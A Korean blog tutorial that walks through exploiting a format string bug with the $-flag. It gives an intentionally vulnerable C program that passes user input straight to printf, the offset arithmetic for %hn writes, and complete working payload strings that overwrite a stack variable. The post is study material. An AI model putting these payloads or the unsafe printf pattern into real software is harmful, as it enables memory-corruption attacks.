본문 바로가기

IT/System Hacking

포맷 스트링 버그(format string bug) 공격시에 플래그(flag)사용하기

/* 
written by kaspy (kaspyx@gmail.com)
*/ 


이전에 잠시 공부한적이 있지만, 까먹고있다가 이참에 공부해서 정리하게되었다.


포맷 스트링 버그 취약점을 가진 프로그램이 있을때, $-flag를 이용한 공격이 기존 기법에비해 꽤나 간단하고 유용해서 정리해봄


이방법은 특히 입력되는 버퍼의 크기가 작거나, printf 함수로부터 수정 주소까지 포맷스트링(%x..) 인자가 많이 필요할때 많은 포맷 스트링 문자열을 넣을 필요가 없어서 유용하다.


간단한 예제 소스코드를 들어 설명하겠다. 


* 테스트 환경 (ubuntu 64bit 12.04 LTS)


  1. // gcc -o flag_fsb flag_fsb.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32
  2. // sudo sysctl -w kernel.randomize_va_space=0
  3.  
  4. #include <stdio.h>
  5.  
  6. int main()
  7. {
  8.         int p = 0xffffffff;
  9.         char buf[56];
  10.         printf("before p = %08x addr = %08x\n",p,&p);
  11.         fgets(buf,sizeof(buf),stdin);
  12.         printf(buf);
  13.         printf("after p = %08x addr = %08x\n",p,&p);
  14.         exit(1);
  15.         return 0;
  16. }


위와같이 포맷 스트링버그가 존재할때, printf 함수에서 aaaa(0x61616161) 인자가 나오기까지 포맷스트링 %x 3개가 필요한것을 확인할수 있다. 나는 위에 소스코드에서 변수 p의주소(0xffffd704) 에 저장된 값 0xffffffff을 0x12345678으로 수정해볼것이다.



즉, printf 함수가 실행될때, printf 함수기준으로 스택에 쌓인값이 3번째 인자가 aaaa(0x61616161)이라는 것이다.


플래그(flag)를 이용하지 않으면 aaaa를 주소값으로 바꾸고, %x를 2번넣고 3번째 나올때 %hn (또는 %n)을 먹여서 주소에 저장된 값을 수정해야한다.


그러나 플래그(flag)를 사용하면 3번째 인자에 바로 %hn(또는 %n)을 먹여서 주소에 저장된값을 수정할수 있다. 더군다나 %hn을 먹이기 전에 %x를 입력한 갯수를 계산하지 않아도되서 굉장히 편리하다.


아래와 같이 계산을 해준다. 


지정해줄 포맷 스트링 문자에서 플래그($)를 유심히 봐주길 바란다.


수정할 주소 0xffffd704 , 주소에 저장할 값 : 0x12345678


%hn을 이용할것이기에 2번 쓸것이다.


0xffffd704 (\x04\xd7\xff\xff) -> 0x5678

0xffffd606 (\x06\xd7\xff\xff) -> 0x1234


%hn 이전까지 기본 문자열 개수: 8 (\x04\xd7\xff\xff\x06\xd7\xff\xff)


수정할 주소

기본 문자열 개수

A

변경해야 할

목표 값 B

지정 해줘야 할 문자 개수

C = |B-A|

지정해줄 포맷 스트링 문자

0xffffd704 (low)

8

22136 (0x5678)

22128 (0x5670)

%22128x%3$hn

0xffffd706 (high)

22136 (0x5678)

4660 (0x1234)

48060 (0xbbbc)

%48060x%4$hn


high 주소 계산시에 0x1234 - 0x5678이 음수가 나와버리는데 음수가 나올때는 0x1234 - 0x5678 + 0x10000 해주면된다.


* 최종 공격 문자열 (flag 사용)


(python -c 'print "\x04\xd7\xff\xff\x06\xd7\xff\xff"+"%22128x%3$hn%48060x%4$hn"';cat) | ./flag_fsb 


참고로 아래는 동일할 결과지만 flag를 사용하지 않았을때이다. 

(계산방식이 조금 달라서 %x 숫자도 달라진다.)


 (python -c 'print "\x04\xd7\xff\xffaaaa\x06\xd7\xff\xff"+"%x%22122x%hn%48060x%hn"';cat) | ./flag_fsb



flag를 사용하면 굉장히 먼거리에있는 인자값에도 접근이 가능하기때문에 버퍼의 사이즈가 작아도 사용할수 있는 장점이 있다.

(단, 사전에 변환문자를 이용하여 공격자가 입력하는 문자열이 어느 부 분에 저장되는지 알아두어야 한다)


물론 공격을 한다면 쉘을 띄워야 되겠지만, 13번째의 printf 때문에 불가능하다.. exit를 지속적으로 공략하여 다른 방법(rop등)을 이용하면 되겠지만.. 기본정리이므로 여기까지..


참고 링크


포맷 스트링 버그(Format string bug) %hn 사용법 - http://kaspyx.kr/81

포맷 스트링 버그(Format string bug) 취약점이란? - http://kaspyx.kr/74

파이썬(python)을 사용하여 프로그램에 입력값 넘겨주기 - http://kaspyx.kr/77


- 외부 링크

$-flag를 이용한 Format String 공격

http://codeengn.com/archive/Reverse%20Engineering/Buffer%20Overflow/Format%20String/$-flag%EB%A5%BC%20%EC%9D%B4%EC%9A%A9%ED%95%9C%20Format%20String%20%EA%B3%B5%EA%B2%A9%20%5BXpl017Elz%5D.txt